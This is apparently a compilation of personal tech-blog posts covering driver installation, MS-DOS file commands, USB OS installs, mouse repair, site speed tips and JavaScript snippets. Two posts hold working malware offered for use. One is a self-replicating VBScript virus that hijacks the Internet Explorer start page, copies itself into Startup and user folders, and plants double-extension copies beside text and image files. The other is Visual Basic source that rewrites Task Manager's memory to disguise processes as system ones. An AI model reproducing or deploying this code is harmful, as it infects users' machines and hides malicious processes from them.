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Problem installation of intel 82845G graphics driver on Window 7 - I want to switch from Windows XP to Windows7, so I bought windows7 installer. But when finished installed windows7, I try to install drivers for Intel 82845G graphics. But without my knowing it before, apparently I don't have drivers for it.

Don't be surprised if Intel 82845G graphics driver is not available for Window 7, if you try to find on the "Intel" official website or search via the  Google search engine, I am sure you will not find Intel 82845G graphics drivers for Window7. Does it be a barrier for not using windows7? don't be pessimistic, there is still any a solution for it. We use several components 82845G driver for Windows XP to be run on Windows7 (believe it would work, because I've experienced it).

To install these components, follow the steps below (I assume you have been in windows7):
1. Use or download the driver for Window XP.
2. Unzip it.
3. Go to Device Manger, click Display adapter item.
4. Click on "Action" menu, and then, click "Add Legacy Hardware".
5. On the "Welcome to the Add Hardware Wizard", click "Next" button.
6. Select "Install the hardware that I manually select from a list".
7. Just keep clicking the "next" button until you get "select the device driver you want to install for this hardware" dialogue.
8. Click "Have Disk..." button and then the "Browse" button.
9. Enter the directory where you unzipped the file you downloaded, and then enter the "Win2000" subdirectory. Highlight the "ialmnt5.INF" file. Click on the "Open" button.
10. Click on the "OK" button. A window listing all of the available display types should open. Select the display adapter that your system contains and then click on the "Next" button.
11. Click on the "Next" button. The operating system will install the driver. Click on the "Finish" button when done.
12. Click on the "Close" button and then click on the "Yes" button to reboot. The driver should now be loaded.

Perhaps this article can be done for different types of chip driver problems. Hope it helpful.

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MS-DOS [Working With Files] Part 5

MS-DOS [Working With Files] Part 5

Copying a Group of Files

To copy a particular group of files from one disk or directory to another, use the copy command with wildcards. For example, you could use the following command to copy all files with a .DBS extension from the current directory to a disk in drive B:
copy *.dbs b:
Suppose you have a number of files on a disk in drive A that you designated as temporary by giving them a .TMP extension. If you want to copy these files to a disk in drive B, you can use the asterisk wildcard:
copy a:*.tmp b:
When you use wildcards to specify the files to be copied, MS-DOS displays the file names as it copies the files.
A:JAN.TMP
A:MAR.TMP
A:FEB.TMP
 3 File(s) copied
You might have a group of files with filenames that differ only slightly. To copy them, you can use the question mark wildcard. For example, suppose you have four reports--JAN1RPT.DOC,JAN2RPT.DOC,JAN3RPT.DOC and JAN4RPT.DOC--on a disk in drive A. To copy the files to a disk in drive B, you could use the following command:
copy a:jan?rpt.doc b:
From drive A, MS-DOS copies the files that have seven-letter names (beginning with the letters JAN and ending with the letters RPT) and a .DOC extension.

If the disk you are copying to doesn't have enough space, MS-DOS stops copying and displays a message that tells you there is insufficient disk space and indicates how many files were copied. The last file displayed in the list before MS-DOS stops copying is not copied to the new disk.

For example, if the disk in drive B becomes full after three of the four .DOC files are copied, you would see a list similar to the following:

JAN1RPT.DOC
JAN2RPT.DOC
JAN3RPT.DOC
JAN4RPT.DOC

Insufficient disk space
3 File(s) copied

MS-DOS does not copy the JAN4RPT.DOC file to the disk in drive B.

Renaming a File as It Is Copied

To rename a file as it is copied, use the copy command and specify the new name, as in the following command:
copy prob.dbs b:noprob.dbs
If you want to assign  a new name to a file you are copying, specify the new filename as the destination file. (If you want to rename a file without making a copy, use the rename command discussed later in this chapter.)
For example, to copy the OUTGO.XLS file from a disk in drive A to a disk in drive B and rename the file EXPEND.XLS, use the following command:
copy a:outgo.xls b:expend.xls
You can rename groups of files by using wildcards. For example, if you want to copy .TMP files on a disk in drive A to a disk in drive B and give the files an .OLD extension, use the following command:
copy a:*.tmp b:*.old
You can copy a file to the same directory if you rename the file. If you don't rename the file when copying it to the same directory, MS-DOS displays the following message:
File cannot be copied onto itself
0 File(s) copied

Combining Text Files

To combine two or more unformatted text files into one file, use the copy command and include a plus sign (+) between the files you want to combine, as in the following command:

copy prob.txt + dob.txt probdob.txt
You can use the copy  command to combine two or more unformatted text files into one file. For example, the following command joins the files SCENE1.TXT and SCENE2.TXT on a disk in drive A into a new file named ACT1.TXT on a disk in drive B:
copy a:scene1.txt + a:scene2.txt b:act1.txt
MS-DOS joins the files in the order you type them. In this example, MS-DOS adds the SCENE2.TXT file to the end of the SCENE1.TXT file.

If you don't specify a destination file, MS-DOS combines all the files in the first file you specify. For example, to include the SCENE3.TXT file at the end of the ACT1.TXT file, you would use this command:

copy act1.txt + scene3.txt
You can also use wildcards to combine groups of files:
copy *.txt all.txt


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MS-DOS [Working With Files] Part 6

MS-DOS [Working With Files] Part 6

Copying Text from the Keyboard to a File

To copy text from the keyboard to a file, first create an unformatted text file by using the copy command followed by CON, as in the following example:
copy con a:note.txt
This command copies whatever you type on the keyboard to the file NOTE.TXT on a disk in drive A. After you type the command, MS-DOS displays a cursor but no command prompt.

If NOTE.TXT doesn't exist on the disk in drive A, MS-DOS creates it. If it does exist, what you type replaces what is already in the file. You need to press ENTER at the end of each line of text you type. When you finish typing into the file, press CTRL+Z and then press ENTER to close the file.

Copying a File to a Printer

To print an unformatted text file, copy it to the port to which your printer is attached, as in the following command:
copy note.txt lpt1
To copy a file to your printer, you can specify as the destination  file the name of the port to which the printer is attached. For example, the following command copies a file named NOTE.TXT on a disk in drive A to the printer attached to the LPT1 port:
copy a:note.txt lpt1
Using CON and the name of a port, you can copy directly from your keyboard to a printer--for example, to the printer attached to the LPT1 port:
copy con lpt1
When you are finished sending information to the printer, press CTRL+Z and then press ENTER to print what you have typed.

Copying Files by Using MS-DOS Shell

If you are using MS-DOS Shell, you can use the Copy command on the File menu to copy any number of files from one directory to another. When you choose Confirm On Replace from the Options menu, MS-DOS prompts you to confirm the command if you are copying over an existing file.

NOTE  When a file or group of files is selected, you use the Copy command on the File menu to copy files. However, when an item from the program list is selected instead, you use the Copy command as a tool for organizing how program items are displayed.

Shell  ► To copy files:

   Mouse            1. Make sure the file(s) and destination directory (or drive icon) are visible.
                          2. Press and hold down CTRL while you drag the file(s) to the destination directory or drive icon.
                          3. Release the mouse button, and then release CTRL.
                          4. Click the YES button.
  
    Keyboard      1. From the file list, select the file or files you want to copy.
                          2. From the File menu, choose Copy.
                          3. In the To box, type the drive and directory that you want to copy your files to.
                          4. Choose the OK button.

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How to install windows operating system on the notebook ASUS X401U series

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Notebook ASUS X401U series - There are still confused about how to install windows operating system on the notebook ASUS X401U. I understand your confusion, because basically ASUS notebook X401U series does not have an optical drive as a media that's usually used to make the process of installation of the program or the operating system installation.

I almost forgot to tell you, ASUS notebook X401U series sold without Windows operating system + optical drive, that's why the price of ASUS notebook X401U were sold very cheap (Price notebook worth the price of a net book - $290 to $325).

The lessons I took from the trading system made by ASUS for this product are:
1. ASUS gives freedom to the user to install any operating system to be installed.
2. ASUS seeks to lower production costs (cut costs to pay for the operating system and the cost for the optical drive) in order to sell a product that can be purchased by the public.

This product is recommended to use Windows 8 operating system. So if you are a good at calculating the price, the selling price of this notebook can be more expensive if included with the Windows 8 operating system + optical drive.

If I ask you, want to buy which one (we assume the same specifications)? Whether you want to buy a notebook with the price $400 - $500 which includes the operating system + optical drive? (Response of each person is exactly different--adjusted budget).

Although the price is cheap, you do not rush happy. Because your next task is to install the operating system. Have you ever installed the Windows operating system on a net book?, if yes, you may not be too difficult to do that. However, if you have never been, you might be a little confused.

Below are the pictures that you have to really understand.
left-side
Figure 1 [left side]


right-side
Figure 2 [right side]

Let's start the installation process.As a replacement optical drive that we usually use to install the operating system, here we use the USB pen drive.
The application that I recommend to make a USB drive into a bootable media is WinToFlash software (use google to search for this software, and then download!).

Step up
1. Use a PC with an optical drive to copy your windows 7 or windows 8 setup files to a USB pen drive. (if your windows 7 or windows 8 is stored on the hard drive, then ignore this instruction)
2. Run WinToFlash.
3. Choose what windows operating system you want to install.
4. Determine the source and the target must be true (source = your windows file setup, target = USB pen drive).

The process of build takes a long time, you can drink to relieve tired.

(We continue our work). After the process is complete, turn on the power notebook ASUS X401U, and then press "DELETE" button to enter BIOS.

Bios Configuration

For "CD/DVD ROMDrive BBS Priorities", use USB port 2.0. Insert the USB pen drive (windows file setup) into the USB 2.0 port, and then save the BIOS settings and restart. The installation process will run perfectly through a USB pen drive.

If you follow this steps, the installation process will run successfully. Hopefully this article useful.

Note: If you read the message "no active partition found", you have to make it first (For several different instances).



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MS-DOS [Working With Files] Part 7

MS-DOS [Working With Files] Part 7

Renaming a File
To rename a file, use the rename (ren) command, as in the following example:
ren mytax.dat ourtax.dat

To change the name of a file without changing its location, use the rename command. This command is especially helpful for organizing files. For example, suppose you have two versions of a file named PRICES.LST. The version on the disk in drive A contains last year's prices, whereas the version on drive C is current. To avoid confusion between the two files, you can use the following command to rename the file that contains outdated prices:

ren a:prices.lst prices.old

You can use wildcards to rename a group of files. For example, if you want all .TMP files to be renamed to .TXT files in a directory, use the following command.

ren *.tmp *.txt

Shell  ► To rename files:
1. From the file list, select the file or files you want to rename.
2. From the file menu, choose Rename. The Rename File dialog box lists the current name of the first selected file.
3. In the New Name box, type the new filename.
4. Choose the OK button.
If you select more than one file, the Rename File dialog box prompts you to rename each file separately.

Printing Text Files

You can print unformatted text files from MS-DOS by using the print command. Generally, it is best to print formatted text files and other specialized files from the program you used to create them. For information about specialized data files and unformatted text files, see "Types of Files" earlier in this chapter.

MS-DOS has print options that another program may lack. With MS-DOS, you can start a print job and do other tasks while the printer prints. In addition, you can specify a list of files to print so you don't have to print each file separately.

When you use the print command, a print queue is set up. Before printing, make sure your printer is properly connected to your system, that the power is turned on, and that the printer is online. For information about your printer, see your printer documentation.

Printing Files

To print unformatted text file from MS-DOS, use the print command, as in the following example:

print config.sys

MS-DOS prompts you for the port you want to print to. If you don't specify a port, MS-DOS connects to LPT1 (also called PRN).
You can set the default printer port by using the /d switch the first time you use the print command. For example, if your printer is connected to your COM1 port, use the following command:
print /d:com1
Suppose you want to print a file named TOGO.TXT. Type the following command:
print togo.txt
The first time you use the print command, MS-DOS prompts you for the port to print to. Whenever you use the print command again. MS-DOS uses the port you specified the first time. To change the port setting, you must restart your system and use the print command again.
You can set the default printer port by using the /d  switch, as in the following example:
print /d:com1 togo.txt
The /d switch can only be used the first time you use the print command. Always use a colon (:) to separate the /d switch from the port name.
To print more than one file at a time, you can type the various filenames and use spaces to separate them, or you can use wildcards.
Shell  ► To print files:
1. Before using MS-DOS Shell, type print at the command prompt. You can add the print command to your AUTOEXEC.BAT file to avoidhaving to type it each time you run MS-DOS Shell. The print command must precede the dosshell command in the AUTOEXEC.BAT file.
2. From the file list, select one or more files.
3. From the File menu, choose Print.MS-DOS adds the files to the print queue (the list of files waiting to be printed).

Using the Print Queue

To view the contents of the print queue, use the print command:

print
To cancel printing and empty the print queue, use the /t switch:
print /t
The MS-DOS print queue is a list of files waiting to be printed. The file at the top of the queue is the one currently being printed. MS-DOS adds your files the print queue when you use the print command. After the first file is printed, MS-DOS begins printing the second file.
To see the list of files in the print queue, type the following:
print
MS-DOS list of files in the queue and indicates which one is currently printing.
To cancel printing and empty the print queue, use the /t switch:
print /t
MS-DOS stop sending information to your printer. The printer keeps printing until it prints all the information stored in its memory.

NOTE  The print queue requires memory that MS-DOS and your programs could otherwise use. Therefore, using the print queue may affect the efficiency of your system

Deleting Files

As you work with MS-DOS, you may want to remove files that are no longer useful. You can delete a single file, selected groups of files in a directory or on a disk. Once you delete files, you might not be able to recover them. Be sure that the files you specify for deletion are the ones you want to remove.
If you accidentally delete files you wanted to keep, use the undelete command as soon as possible to recover them. The undelete command might not be able to recover the deleted files if you created or changed other files on the disk in the mean time. The undelete command works best if you set up your system to keep track of files you delete.

Tracking Deleted Files

If you want MS-DOS to keep track of deleted files on a disk, you can use the Mirror program. To install the program, use the mirror command with the /t switch. For example, the following command sets up deletion tracking for a disk in drive A:
mirror /ta
The drive letter must follow the /t switch. However, do not use a colon ( : ) with the drive letter.
The Mirror program is a 6.4K terminate-and-stay-resident (TSR) program that monitors the system. Whenever the program detects a deleted file, it record information that the undelete command needs to recover the file. To install this program, use the mirror command with /t switch for each drive you want to track. For example, to install the program so that it tracks file deletions on drive A and C, you would type the following:
mirror /ta /tc
The first time you delete a file on drive A or C after you have installed Mirror, a file called PCTRACKR.DEL is created in the root directory of that drive. This is a system file that contains the information which undelete needs to recover the deleted file. Each time you delete a file, PCTRACKR.DEL is updated with information about that file.

CAUTION  Do not use deletion tracking for any drive that has been redirected by using the join or subst command. If you intend to use the assign  command, you must do so before using Mirror to install deletion tracking.
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Google Ad sense (GA) is one way to make money from the internet. In addition to potentially making a lot of money, a monetized blog in this way hard sell when sold on Flippa.

Unfortunately, not everyone is approved as a GA publisher. The reason varies from blogs that do not comply with the webmaster policy, navigation is not clear until the content is lacking.

Here are 10 tips for you to be approved by the GA:
1. Create a blog whose content regarding tips or how to.
2. The number of articles at least 10.
3. Create articles that are 100% Copyscape pass.
4. Create articles with good grammar.
5. Create a blog navigation is simple and clear.
6. Add videos relevant to the title of the article.
7. Create your blog logo.
8. Create a page "about" reflecting about yourself (your true personal data, the same data as you will sign up to GA).
9. Make the Contacts, Privacy Policy, and DMCA.
10. Age of your blog has been more than 3 months.

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Examples of viruses using VBScipt - We will learn how to create a computer virus using VBS (Visual Basic Script). Ability VBS virus is able to work in autorun (run automatically). This virus uses double extension, when in the same folder there are files with extensions JPG and TXT then the script will also create a VBS file with the same file name.

For example, if in the folder contain file named readme.txt, then this script automatically make a file named readme.txt.vbs. If in the folder there is a subfolder, then the script will be copying itself into the subfolder.

There are 3 main locations targeted by this script, Desktop, Startup and My Documents. In addition, the script will also change the default address of the website on the Internet Explorer program.
1 On error resume next
2 Dim WshShell, fso, Source, vPath, Target, Location
3 Set WshShell = CreateObject("Wscript.Shell")
4 Set fso = CreateObject("Scripting.FileSystemObject")
5 Set Source = fso.GetFile(Wscript.ScriptFullName)
6
7 WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://ambarhalim.blogspot.com/"
8
9 Location = WshShell.SpecialFolders("Startup")
10 Source.Copy (Location & "\Adobe.vbs")
11
12 Location = WshShell.SpecialFolders("Desktop")
13 Source.Copy (Location & "Readme.vbs")
14 InfectFolder Location
15
16 Location = WshShell.SpecialFolders("MyDocuments")
17 Source.Copy (Location & "\Image.vbs")
18 InfectFolder Location
19
20 vPath = Left(Source, InStrRev(Source, "\"))
21 For Each target in fso.GetFolder(vPath).Files
22 If Right(Target,3)="txt" or Right(Target,3)="jpg" then Source.Copy(Target & ".vbs")
23 Next
24
25 Sub InfectFolder(addr)
26 On error resume next
27 For Each Target in fso.GetFolder(addr).SubFolders
28 Source.Copy(Target & "\Readme.vbs")
29 WshShell.Run (Target & "\Readme.vbs")
30 Next
31 End sub

That example VBS script that can work like a virus. Do not play around with the script above if you are not an experienced person to handle the virus.


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How to fix optical mouse

Optical mouse solution - Computer mouse is an important device when doing computer activities. Almost all programs must be operated by a computer mouse. What happens if the computer without a mouse?. Are you able to edit images without using a mouse?. Therefore, when the computer mouse has a problem, less more of our work to be disturbed.

No need to buy a new computer mouse if you have a bit of electronics skill, with solder and multitester we can find that problem.

To fix this, follow these steps:

1. Open the mouse with a screwdriver, and release the PCB board.
2. Heat the solder to release the USB cable from the PCB board.

How to fix optical mouse

3. Optical mouse USB cable consists of USB Vcc (+5V), USB data+, USB data- and GND.
4. Check each cable using multitester (from one end to the other end), perhaps one of the cables there are broken.
5. Or replace the cable with a better.
6. Solder back the wires to the PCB board.

Computer mouse problems are more common because of the quality of the cable. Hopefully these tips can help you.



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Modifiers task manager list

We will make a program, where the program is able to insert fake information the program name into the task manager. If we want to change the name of our program, then we have to take the data memory in the Task Manager program using ReadProcessMemory API function, then revamped and re-entry into the Task Manager by using the API function.

For more details we will create a program that can copy itself to be several programs, where these programs will be mutually changed their name in the Task Manager.

For example, the program name is Ambarhalim.exe and Porsea.exe.
- Ambarhalim.exe will change the Porsea.exe name to be Services.exe.
- Porsea.exe will change the Ambarhalim.exe name to be explorer.Exe.

This project created using Visual Basic. The steps are as follows:
1. Run the Visual Basic program on your PC.
2. Make 1 listbox (Listbox1) and 1 timer (Timer1) in the form1.
3. Set interval timer value to 500 (0.5 seconds).

In the Form1 code window, enter the source code below.

Private Sub Form_Load()
Dim index1 As String
Dim Ambarhalim As String
Dim Porsea As String

index1 = App.Path & "\" & App.EXEName & ".exe"
Ambarhalim = App.Path & "\Ambarhalim.exe"
Porsea = App.Path & "\Porsea.exe"

If App.EXEName <> "Ambarhalim" And App.EXEName <> "Porsea" Then
FileCopy index1, Ambarhalim
FileCopy index1, Porsea
Shell Ambarhalim
Shell Porsea
End
End If
End Sub

In the Timer1 code window, enter the source code below.

Private Sub Timer1_Timer()
Timer1.Enabled = False
If Second(Now) Mod 5 = 0 Then Update
If App.EXEName = "Ambarhalim" Then Disguise "Porsea.exe", "Services.exe"
If App.EXEName = "Porsea" Then Disguise "Ambarhalim.exe", "explorer.exe"

Timer1.Enabled = True
End Sub

For this project we also need the file module, add the module file! In the Module1 code window, enter the source code below.

Option Explicit

Const TH32CS_SNAPALL = (&H1 Or &H2 Or &H4 Or &H8)
Const TH32CS_SNAPPROCESS As Long = 2&

Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * 260
End Type

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long)
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Private myHandle As Long
Private myproclist$

Public Function Update()
Dim hSnapShot As Long, uProcess As PROCESSENTRY32, r As Long

Form1.List1.Clear
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
uProcess.dwSize = Len(uProcess)
r = Process32First(hSnapShot, uProcess)
Do While r
Form1.List1.AddItem Left$(uProcess.szExeFile, IIf(InStr(1, uProcess.szExeFile, Chr$(0)) > 0, InStr(1, uProcess.szExeFile, Chr$(0)) - 1, 0))
Form1.List1.ItemData(Form1.List1.NewIndex) = uProcess.th32ProcessID
r = Process32Next(hSnapShot, uProcess)
Loop
CloseHandle hSnapShot
End Function

Private Function UNICODE(data As String) As String
Dim tmp As String
Dim i As Integer
tmp = ""
For i = 1 To Len(data)
tmp = tmp & Chr(0) & Mid(data, i, 1)
Next
UNICODE = tmp
End Function

Private Function InitProcHack(pid As Long) As Boolean
Dim pHandle As Long
pHandle = OpenProcess(&H1F0FFF, False, pid)
If (pHandle = 0) Then
InitProcHack = False
myHandle = 0
Else
InitProcHack = True
myHandle = pHandle
End If
End Function

Private Sub REPSTRINGINPROC(PIDX As Long, Origin As String, Recent As String)
Dim SRCHSTRING As String
Dim REPSTRING As String
Dim startpos As Integer
Dim p As String
Dim bytewrite As Long

If Not InitProcHack(PIDX) Then Exit Sub

Dim c As Integer
Dim addr As Long
Dim buffer As String * 30000
Dim readlen As Long
Dim writelen As Long

Corrective Origin, Recent

SRCHSTRING = UNICODE(Origin)
REPSTRING = UNICODE(Recent)

For addr = 0 To 4000
Call ReadProcessMemory(myHandle, addr * 20000, buffer, 20016, readlen)
If readlen > 0 Then
startpos = 1
While InStr(startpos, buffer, SRCHSTRING) > 0
p = (addr) * 20000 + InStr(startpos, buffer, SRCHSTRING) - 1
Call WriteProcessMemory(myHandle, CLng(p), REPSTRING, Len(REPSTRING), bytewrite)
startpos = InStr(startpos, buffer, Trim(SRCHSTRING)) + 1
Wend
End If
Next addr

DoEvents
Close #1
DoEvents
End Sub

Private Function Corrective(scr As String, rep As String)
Dim i As Integer
For i = 0 To Form1.List1.ListCount - 1
If LCase(Form1.List1.List(i)) = LCase(scr) Then
scr = Form1.List1.List(i)
Exit For
End If
Next

For i = 0 To Form1.List1.ListCount - 1
If LCase(Form1.List1.List(i)) = LCase(rep) Then
rep = Form1.List1.List(i)
Exit For
End If
Next

If Len(scr) > Len(rep) Then
rep = rep + Left(" ", Len(scr) - Len(rep))
End If
If Len(rep) > Len(scr) Then
scr = scr + Left(" ", Len(rep) - Len(scr))
End If
End Function

Public Sub Disguise(Origin As String, Recent As String)
Dim newproclist$
Dim myProcess As PROCESSENTRY32
Dim mySnapshot As Long

newproclist$ = ""
myProcess.dwSize = Len(myProcess)
mySnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&)

Process32First mySnapshot, myProcess

If InStr(1, myproclist$, "[" & myProcess.th32ProcessID & "]") = 0 Then
If Left(myProcess.szExeFile, InStr(myProcess.szExeFile, Chr(0)) - 1) = "taskmgr.exe" Then
REPSTRINGINPROC myProcess.th32ProcessID, Origin, Recent
REPSTRINGINPROC myProcess.th32ProcessID, Origin, Recent
Else
DoEvents
End If
End If

newproclist$ = "[" & myProcess.th32ProcessID & "]"

While Process32Next(mySnapshot, myProcess)
If InStr(1, myproclist$, "[" & myProcess.th32ProcessID & "]") = 0 Then
If Left(myProcess.szExeFile, InStr(myProcess.szExeFile, Chr(0)) - 1) = "taskmgr.exe" Then
REPSTRINGINPROC myProcess.th32ProcessID, Origin, Recent
REPSTRINGINPROC myProcess.th32ProcessID, Origin, Recent
Else
DoEvents
End If
End If
newproclist$ = newproclist$ & "[" & myProcess.th32ProcessID & "]"
Wend

myproclist$ = newproclist$
End Sub

You are free to give a name to this program. This example source code is often used by virus maker as a camouflage so that the program hard to find.

Keyword: Modifiers task manager list | How to hack task manager list | How to crack task manager list

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Tips and trick to make website faster

www Load Faster  

I've visited many websites, both local and from other countries. Most websites today are not overly prioritize the quality of their web pages, they think only about how to get high traffic so that in the future they can grab or get the bigger ads.

Layout is too forced, image size, number of images, image types, laying the correct CSS, javascript impact and the use of plugins that are not selective. You should to know, they all have a major influence on your website reputation in the future.

If the speed to load your pages too long, then the visitor will close/leave your website, you lose the points in time, and only the points in traffic value that you get where this value actually is very small.

Website created to be visited by many people, from many countries, from many backgrounds and varied in terms of age. So, if you created a website just for yourself and just for your country that has supported internet and device/PC in high technology (do not think in terms of other factors), do not expect your website will get a good reputation. That's why there is the slogan "Internationally" or "internationalization" for a website that would like to get a good reputation.

So, what factors should I consider so that my website can be accessed / loaded faster?

1. Improve server response time.
2. Optimize images.
3. Avoid scripts that long operate.
4. Put CSS in the document head.
5. Enable compression.
6. Avoid a character set in the meta tag.
7. Avoid landing page redirects.
8. Combine images into CSS sprites.
9. Remove query strings from static resources.
10. Avoid CSS @import.
11. Avoid requests are problematic.
12. Minimize redirects.
13. Optimize the order of styles and scripts.
14. Minimize request size.
15. Specify the character set.
16. Specify a cache validator.
17. Specify the image dimensions.
18. Determine head Vary.
19. Take advantage of browser's cache storage.
20. Select asynchronous resources.

You do not have to implement all the suggestions above, at least prioritize which greatly affect the speed of your website.



Keyword: How to make website faster | Tips to make website faster | Improve server response time | Website load faster tips

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Example code of JavaScript random link (random hyperlink) and JavaScipt random image

Javascript-icoThe main objective use of random systems is to provide a varied choice. By randomizing the post items, then our blog will feel alive.

Nowadays, so many websites that offer random posts widget, but due to special reasons, then I decided do not use it. Below is an example of JavaScript code that can randomize the link and code to randomize images. Here is example code of JavaScript random link.

JavaScript randomize link / hyperlink:
<script language="JavaScript">
var ambarhalim=new Array()
ambarhalim[0]="http://ambarhalim.blogspot.com/2013/04/tips-and-trick-to-make-website-faster.html,Tips and trick to make website faster"
ambarhalim[1]="http://ambarhalim.blogspot.com/2013/04/modifiers-task-manager-list.html,Modifiers task manager list"
ambarhalim[2]="http://ambarhalim.blogspot.com/2013/04/how-to-fix-optical-mouse.html,How to fix optical mouse"
len=ambarhalim.length // how many entries in the array
rnd=Math.round(Math.random()*(len))
ranlnk=ambarhalim[rnd].split(",") // separate the address and name
document.write("<a href='"+ranlnk[0]+"' title='"+ranlnk[1]+"'>"+ranlnk[1]+"</a>")
document.close()
</script>

JavaScript randomize images:
<script language="JavaScript">
function random_img(){
var img=new Array()
//specify random images below. You can have as many as you wish
img[1]="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNVdg4wCKveA4dFQ4IUxvUOh1LoAfkfk3Ou1RGsrUi0lpZKR1iRcv0TxPD4lZLDTGNN4OErISW5n-eUb9XfAiyfEwdom9PxMRT97O9_NO-hA78sMhx_pk1lnEXHdLrJHBhE7yi1rfnYZHS/s1600/banner2.gif"
img[2]="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9HLLYYi959yCFOtMnEW_YClabXVMrxFrEwN03BT14izKHm-aGrYjgTpwARfzmTiznrYRkfubudUcsdMa64PxqLHXCFfkwnlLSvRnZKrRQau-2sMWmJKvvQiYKl2KjAEhmzwRg-xWetEES/s1600/banner1.gif"
img[3]="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnD0CcGavrbL6YV0yod_U3CnFKVqyQlyxdVKdOeACBFuj0bbpPotUvrvH0_dcvBFN4Ej7aREb71XCj5hArdfEncL7BD4INzcWRj7H0GAiTRY3sieT-EEr0F2p4XhxJo45cNSyaKJTAUVlo/s1600/banner4.gif"
img[4]="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2t5QgZdqbd-Nh-kRCg0GQiuT6BPu4CZJZqBAhvN7oS-FL8r_A6MfHYwopI_UAkRvHwSVfUGymYdHVjflAQNeqLR77rNCl03h7sGi-wZ408uvDzpFjfKaNG8qtf1zMk5kjTuMmbXg1QIYg/s1600/banner3.gif"
img[5]="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxtpKN_zVPXHoyeUaC-85uOjrYs_GcTmebx0w5e8az0L2zVYTyoQSm0aEh8EqUzr00nEdbuo0AFLY3J8zSZtVjlYzOiqr7tV59mIKghv_3rIBconq_wl4q74FTw49Wi-0JrbpQlK8UPLLu/s1600/banner5.gif"
img[6]="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCz5bFRrUFxb7DprRBi3uyW_S5tgnWboHSsgAESXUgQ9V8ycYJCAC3LuCwlRv6wONqxbEdlDhjKi5vgwgcH-WGHGuw5wukZPPW8cxuQ566Dllkfj-QTGvSq32Q4_1wI4hAYlDcO2Iry2QX/s1600/banner6.gif"
var ry=Math.floor(Math.random()*img.length)
if (ry==0)
ry=1
document.write('<img src="'+img[ry]+'" border=0>')
}
random_img()
</script>

Hopefully this script can help you, and make you more excited again.


Keyword: Hyperlink Random Script | Link Random Script | Text Random Script | JavaScript Hyperlink Random Script | Images Random Script | JavaScript Images Random Script

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